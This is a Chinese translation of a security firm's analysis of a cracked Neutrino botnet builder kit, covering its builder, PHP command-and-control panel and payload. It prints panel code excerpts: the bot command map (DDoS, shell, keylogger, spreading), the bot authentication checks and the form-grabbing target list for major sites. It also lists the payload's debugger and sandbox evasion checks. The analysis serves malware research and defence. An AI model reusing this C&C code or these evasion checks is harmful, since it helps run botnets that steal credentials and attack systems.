揭秘Neutrino殭屍網路生成器

wyzsk發表於2020-08-19
作者: mssp299 · 2015/08/24 10:17

翻譯:mssp299

原文地址:https://blog.malwarebytes.org/botnets/2015/08/inside-neutrino-botnet-builder/

0x01 引言


一般情況下,網路犯罪分子通常都會以產品套裝的形式來出售其攻擊軟體,其中包括:

  • 惡意有效載荷:惡意軟體的前端,用於感染使用者。

  • C&C皮膚:惡意軟體的後端部分,通常為LAMP環境下的一個Web應用程式

  • 生成器:一個應用程式,用來打包有效載荷,並嵌入特定釋出者所感興趣的資訊,比如C&C地址配置資訊等。

這些惡意軟體套裝通常都是在黑市上銷售的,儘管如此,有時還是會流入主流媒體的手上。這就給研究人員提供了一個寶貴的機會,來深入考察它們所使用的各種技術。

最近,我手頭上就得到了這樣的一個軟體套裝,其中就包括Neutrino殭屍網路的生成器。儘管這不是最新的版本,但是依舊能夠提供有用的資訊,來幫助我們與當今廣泛傳播的樣本進行對比分析。

0x02 相關組成部分


  • Neutrino Builder:32位PE程式,使用VS2013編寫,利用Safengine Shielden v2.3.6.0加殼(md5=80660973563d13dfa57748bacc4f7758)。

  • panel(利用PHP編寫的)。

  • stub(有效載荷):32位PE程式,是用MS Visual C++編寫的(md5=55612860c7bf1425c939815a9867b560, section .text md5=07d78519904f1e2806dda92b7c046d71)。

0x03 功能


Neutrino Builder v3.9.4

這個生成器是利用Visual Studio 2013編寫的,因此需要合適的可再發行元件包( Redistributable Package)才能夠正常執行。這個生成器是一個破解版,因為從標頭部分可以看到“Cracked and coded by 0x22”等字樣。

這個工具的功能非常簡單:向使用者詢問C&C的地址,然後將其寫入有效荷載。

enter image description here

比較兩個有效荷載:一個是原始的有效荷載,一個是由該生成器編輯過的有效荷載。我們發現,實際上這個生成器所做的修改非常小,它只是對提供的URL進行加密處理,然後將其儲存到指定的地方。

下面的圖中,左圖(stub)是原始的有效荷載,右圖(test_stub.exe)是經過編輯之後的有效荷載。

enter image description here

Panel

enter image description here

這個軟體套裝含有完整的使用說明(readme.txt),不過使用俄語編寫的,其中可以發現許多功能細節。

enter image description here

安裝皮膚所需的軟體:

  • PHP
  • MySQL,版本號不得低於5.6。

皮膚的預設登入名和口令:adminadmin

被感染的客戶端可以根據要求而執行的任務:

  • 各種型別的DDoS攻擊。
  • 鍵盤記錄(啟用/禁用)功能,包括指定視窗內的軌跡文字。
  • 查詢指定型別的檔案。
  • 更新bot。
  • 刪除bot。
  • DNS欺騙(將地址X重定向到地址Y)。
  • Form表單擷取,竊取FTP證照。
  • 下載並執行下列型別的檔案(EXE、DLL、、bat 、vbs)。
  • 向Windows登錄檔新增指定內容。

傳送給bot的完整命令列表:

functions.php

#!php
function EncodeCommand($command)
{
    switch (strtolower($command)) {
        case "http ddos":
            return "http";
            break;
        case "https ddos":
            return "https";
            break;
        case "slowloris ddos":
            return "slow";
            break;
        case "smart http ddos":
            return "smart";
            break;
        case "download flood":
            return "dwflood";
            break;
        case "udp ddos":
            return "udp";
            break;
        case "tcp ddos":
            return "tcp";
            break;
        case "find file":
            return "findfile";
            break;
        case "cmd shell":
            return "cmd";
            break;
        case "keylogger":
            return "keylogger";
            break;
        case "spreading":
            return "spread";
            break;
        case "update":
            return "update";
            break;
        case "loader":
            return "loader";
            break;
        case "visit url":
            return "visit";
            break;
        case "bot killer":
            return "botkiller";
            break;
        case "infection":
            return "infect";
            break;
        case "dns spoofing":
            return "dns";
            break;
    }
    return "failed";
}

C&C對非法請求非常敏感,並且會根據源IP黑名單作出相應的反應:

functions.php

#!php
function CheckBotUserAgent($ip)
{
  $bot_user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0";
  if ($_SERVER['HTTP_USER_AGENT'] != $bot_user_agent) {
    AddBan($ip);
  }
  if (!isset($_COOKIE['authkeys'])) {
    AddBan($ip);
  }
  $cookie_check = $_COOKIE['authkeys'];
  if ($cookie_check != "21232f297a57a5a743894a0e4a801fc3") { /* md5(admin) */
    AddBan($ip);
  }
}

透過觀察install.php,我們還可以發現Form表單所擷取的目標。這裡的列表中包括了最流行的電子郵件和社交網路網站(facebook、linkedin、twitter等)。

install.php

#!php
$ff_sett = "INSERT INTO `formgrabber_host` (`hostnames`, `block`) VALUES".
"('capture_all', '.microsoft.com\r\ntiles.services.mozilla.com\r\nservices.mozilla.com\r\n.mcafee.com\r\nvs.mcafeeasap.com\r\nscan.pchealthadvisor.com\r\navg.com\r\nrrs.symantec.com\r\nsjremetrics.java.com\r\nyahoo.com/hjsal    \r\n.msg.yahoo.com\r\ngames.yahoo.com\r\n.toolbar.yahoo.com\r\nquery.yahoo.com\r\nyahoo.com/pjsal\r\neBayISAPI.dll?VISuperSize&item=\r\nbeap.bc.yahoo.com\r\n.mail.yahoo.com/ws/mail/v1/formrpc?appid=YahooMailClassic\r\n.mail.yahoo.com/dc/troubleLoading\r\n.mail.yahoo.com/mc/compose\r\nmail.yahoo.com/mc/showFolder\r\nmail.yahoo.com/mc/showMessage\r\ninstallerstats.yahoo.com\r\nlogin.yahoo.com/openid/op/start\r\nmail.yahoo.com/mc/showFolder\r\nyahoo.com/mc/showMessage\r\nmail.yahoo.com/mc/compose\r\naddress.mail.yahoo.com/yab\r\naddress.yahoo.com\r\nanalytics.yahoo.com\r\ngeo.yahoo.com\r\nnews.yahoo.com\r\nmessages.finance.yahoo.com\r\ninstallerstats.yahoo.com\r\nmail.yahoo.com/ws/\r\nmail.yahoo.com/dc/\r\nsports.yahoo.com\r\nomg.yahoo.com\r\nshine.yahoo.com\r\ndesktop.google\r\ndesign60.weatherbug.com\r\noogle.com/tbproxy/\r\noogle.com/mail/channel/\r\noogle.com/bookmarks\r\ngle-analytics.com/collect\r\nmaps.google\r\nnews.google\r\ngoogleapis.com\r\noogle.com/u/0/\r\noogle.com/u/1/\r\noogle.com/u/2/\r\noogle.com/u/3/\r\noogle.com/u/4/\r\noogle.com/a/\r\noogle.com/b/\r\nogle.com/_/n/\r\nogle.com/_/initialdata\r\noogle.com/_/photos\r\noogle.com/mail/h/\r\noogle.com/mail/u/\r\noogle.com/_/jserror\r\noogle.com/_/diagnostics\r\noogle.com/_/socialgraph\r\noogle.com/_/savetz\r\noogle.com/_/profiles\r\noogle.com/_/og/promos\r\noogle.com/analytics/web/\r\noogle.com/bind\r\noogle.com/client-channel/channel/\r\noogle.com/cloudsearch/\r\noogle.com/document/\r\noogle.com/dr\r\noogle.com/act\r\noogle.com/pref\r\noogle.com/cp\r\noogle.com/drive/\r\noogle.com/o/oauth2/\r\noogle.com/picker/\r\noogle.com/stat\r\noogle.com/spreadsheets/\r\noogle.com/uploadstats\r\noogle.com/upload/\r\noogle.com/talkgadget\r\noogle.com/translate\r\noogle.com/voice/v1/\r\noogle.com/vr\r\noogle.com/_vti_bin\r\napis.google\r\noogle.com/mail/?ui\r\noogle.com/calendar\r\nogle.com/logos/\r\noglevideo.com\r\noglesyndication.com/activeview\r\nreddit.com/api/\r\ngeo.opera.com\r\n.com/do/mail/message/\r\nhttpcs.msg.yahoo.com/\r\npnrws.skype.com/api\r\nmail.aol.com\r\ndailymotion.com/cookie/\r\netsy.com/s2/service/\r\netsy.com/api/\r\netsy.com/people/\r\netsy.com/add_favorite\r\netsy.com/search\r\nconnect.facebook.com/widgets\r\nupload.facebook.com\r\nconnect.facebook.com\r\napi.facebook.com\r\napps.facebook.com\r\ngraph.facebook.com\r\nfacebook.mafiawars.com\r\nfacebook.com/ads/\r\nfacebook.com/alite/push/log.php\r\nfacebook.com/ajax/\r\nfacebook.com/bookmark/\r\nfacebook.com/chat/\r\nfacebook.com/connect/\r\nfacebook.com/checkpoint/\r\nfacebook.com/crop_profile_pic.php\r\nfacebook.com/editnote.php\r\nfacebook.com/ego/feed/\r\nfacebook.com/dialog/\r\nfacebook.com/events/\r\nfacebook.com/friends\r\nfacebook.com/find-friends/\r\nfacebook.com/growth/\r\nfacebook.com/intl/\r\nfacebook.com/logout\r\nfacebook.com/mobile/\r\nfacebook.com/photos/\r\nfacebook.com/video/\r\nfacebook.com/plugins/\r\nfacebook.com/people/\r\nfacebook.com/privacy/selector/\r\nfacebook.com/profile/picture/\r\nfacebook.com/pubcontent/\r\nfacebook.com/requests/friends/ajax/\r\nfacebook.com/residence/\r\nfacebook.com/roadblock/\r\nfacebook.com/stickers/\r\nfacebook.com/search/live_conversation/\r\nfacebook.com/structured_suggestion/\r\nfacebook.com/timeline/\r\nfacebook.com/tr/\r\nfacebook.com/translations/\r\ninstagram.com/query/\r\ninstagram.com/client_action/\r\nflickr.com/fragment\r\nflickr.com/photo\r\nflickr.com/mail/write\r\nflickr.com/groups\r\nflickr.com/services\r\nflickr.com/people/\r\ntwitter.com/logout\r\ntwitter.com/i/\r\nlinkedin.com/lite/\r\nlinkedin.com/connections\r\nlinkedin.com/people/\r\nlinkedin.com/languageSelector\r\nlinkedin.com/home?trk\r\nlinkedin.com/wvmx/\r\nmyspace.com/beacon/\r\nmyspace.com/ajax/\r\nok.ru/app\r\nok.ru/gwtlog\r\nok.ru/?cmd\r\nok.ru/dk\r\nok.ru/feed\r\nok.ru/game\r\nok.ru/profile\r\nok.ru/push\r\nplayer.vimeo.com\r\nsgsapps.com\r\nmyfarmvillage.com\r\napi.connect.facebook.com\r\nupload.youtube.com\r\nyoutube.com/addto_ajax\r\nyoutube.com/annotations\r\nyoutube.com/api/\r\nyoutube.com/channel_ajax\r\nyoutube.com/comment_voting\r\nyoutube.com/comments_ajax\r\nyoutube.com/comment_servlet\r\nyoutube.com/inbox_ajax\r\nyoutube.com/live_stats\r\nyoutube.com/logout\r\nyoutube.com/metadata_ajax\r\nyoutube.com/playlist_video_ajax\r\nyoutube.com/subscription_ajax\r\nyoutube.com/set_awesome\r\nyoutube.com/video_info_ajax\r\nyoutube.com/video_response_upload\r\nyoutube.com/watch_actions_ajax\r\nyoutube.com/watch_fragments_ajax\r\nyoutube.com/watch_promo_ajax\r\nnetzero.net/webmail\r\nnetmail.verizon.com/netmail/driver\r\nverizon.com/webmail/driver\r\nidp.comcast.net/idp\r\noptimum.net/mail/dd\r\nwww.msn.com/?wa=wsignin1.0\r\nusers.storage.live.com/users/\r\naccount.live.com/API/\r\nmail.live.com/mail/mail.fpp\r\nmail.live.com/mail/options\r\nmail.live.com/ol/\r\nmail.live.com/Handlers/\r\nofficeapps.live.com/wv/\r\nlive.com/mail/SilverlightAttachmentUploader\r\nlive.com/c.gif\r\nlive.com/Handlers/\r\ncox.net/dashboard\r\nenhanced.charter.net\r\npost.craigslist.org\r\namazon.com/gp/history/\r\namazon.com/gp/charity/\r\namazon.com/gp/deal/\r\namazon.com/gp/gw/\r\namazon.com/gp/product/\r\namazon.com/gp/redirection/\r\namazon.com/gp/quick-abn-finder/\r\namazon.com/gp/registry/wishlist/');";

$ff_hostname = "INSERT INTO `formgrabber_host` (`hostnames`) VALUES ('live,mail,paypal')";

用於實現跟bot通訊的主檔案是tasks.php,它只接收一種POST請求。

將bot傳送的資訊新增到資料庫:

tasks.php

#!php
if ($_SERVER["REQUEST_METHOD"] != "POST") {
  AddBan($real_ip);
}

CheckBotUserAgent($real_ip);
CheckBan($real_ip);
if (isset($_POST['cmd'])) {

  $time = time();
  $date = date('Y-m-d H:i:s');

  $bot_ip = $real_ip;
  $bot_os = $_POST['os'];
  $bot_name = urlencode($_POST['uid']);

  $bot_uid = md5($bot_os . $bot_name);

  $bot_time = $time;
  $bot_date = $date;

  $bot_av = strip_data($_POST['av']);
  $bot_version = strip_data($_POST['version']);
  $bot_quality = intval($_POST['quality']);

  $gi = geoip_open("GeoIP/GeoIP.dat", GEOIP_STANDARD);
  $bot_country = geoip_country_code_by_addr($gi, $bot_ip);
  if ($bot_country == null) {
  $bot_country = "O1";
}
geoip_close($gi);

開啟index.php會導致客戶端的IP被加入黑名單(無條件):

index.php

#!php
ConnectMySQL($db_host, $db_login, $db_password, $db_database);
CheckBan($real_ip);
AddBan($real_ip);

Stub

在後端可以找到的所有命令在前端都有所反映,這一點可以清楚看出來,因為有效荷載根本就沒有經過混淆處理!

硬編碼的驗證金鑰,對於bot傳送的每一個請求,C&C都會檢查其中的驗證金鑰:

enter image description here

Bot自己會登入到C&C,報告期版本和執行環境:

enter image description here

下面是C&C請求的部分命令的實現:

從C&C下載指定的有效載荷:

enter image description here

鍵盤記錄器的部分程式碼:

enter image description here

Frame擷取器的程式碼片段:

enter image description here

竊取剪貼簿中的內容(部分程式碼):

enter image description here

將竊取的內容(如登入密碼)儲存到一個檔案中(logs.rar)。然後,讀取這個檔案,並將其上傳到C&C:

enter image description here

講這個檔案封裝到POST請求中:

enter image description here

此外,無論C&C請求的任務是成功或失敗,bot都要提供相應的報告:

enter image description here

這個惡意軟體所帶來的威脅,不僅僅侷限於本地計算機,此外,它還會掃描LAN,尋找共享資源,並竊取之:

enter image description here

竊取共享資源(部分程式碼):

enter image description here

防禦技術

除了上面介紹的攻擊性功能之外,這個有效載荷含有大量的防禦功能。

除明顯的isDebuggerPresent之類檢查外,我們還發現了一些更加高階或者說非常怪異的東西,例如檢查使用者名稱是否含有下列字串:maltesttequilaboomboomsandboxvirusmalware。完整的防禦功能說明如下:

  • 確定呼叫程式是否為偵錯程式,這需要藉助於:

    IsDebuggerPresent

  • 確定呼叫程式是否為遠端偵錯程式,這需要藉助於:

    CheckRemoteDebuggerPresent(GetCurrentProcess(), pDebuggerPresent)

  • 檢測是否執行在Wine下面,這需要藉助於:

    GetProcAddress(GetModuleHandleW(“kernel32.dll”), “wine_get_unix_file_name”)

檢查是否含有黑名單中的子串(忽略大小寫):

  • 是否含有使用者名稱,這需要藉助於:

    GetUserNameW vs {“MALTEST“, “TEQUILABOOMBOOM“, “SANDBOX“, “VIRUS“,”MALWARE“}

  • 是否含有當前模組名稱,這需要藉助於:

    GetModuleNameW vs {“SAMPLE“, “VIRUS“, “SANDBOX” }

  • 是否含有BIOS版本號,這需要藉助於登錄檔:

    “HARDWARE\Description\System“, value “SystemBiosVersion” against: {“VBOX“, “QEMU“, “BOCHS“}

  • 是否含有BIOS版本號,這需要藉助於登錄檔:

    “HARDWARE\Description\System“, value “VideoBiosVersion” against: “VIRTUALBOX“

  • 是否含有SCSI資訊,這需要藉助於登錄檔:

    “HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id“, value “Identifier“), against {“VMWARE“, “VBOX“, “QEMU“}

檢查是否存在:

  • VMWareTools,這需要藉助於登錄檔:SOFTWARE\VMware, Inc.\VMware Tools。

  • VBoxGuestAdditions,這需要藉助於登錄檔:SOFTWARE\Oracle\VirtualBox Guest Additions。

0x04 小結


通常情況下,惡意軟體分析人員只跟其中的一部分即惡意有效載荷打交道。透過像本文這樣考察整個套裝,能夠幫我們對惡意軟體瞭解地更加全面。

此外,它還能夠很好地幫我們瞭解分散式惡意軟體的各種活動是如何組織協調的。如本文所示,網路犯罪分子可以非常輕鬆的組配自己的惡意C&C。一個人,根本無需任何高深的技巧,照樣可以變身成為一個殭屍網路的主人。我們如今生活的時代,是惡意軟體武器化的時代,是大眾也能取之即用的時代,所以,每個人都必須採取堅固和多層的安全防護措施,這一點非常關鍵。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章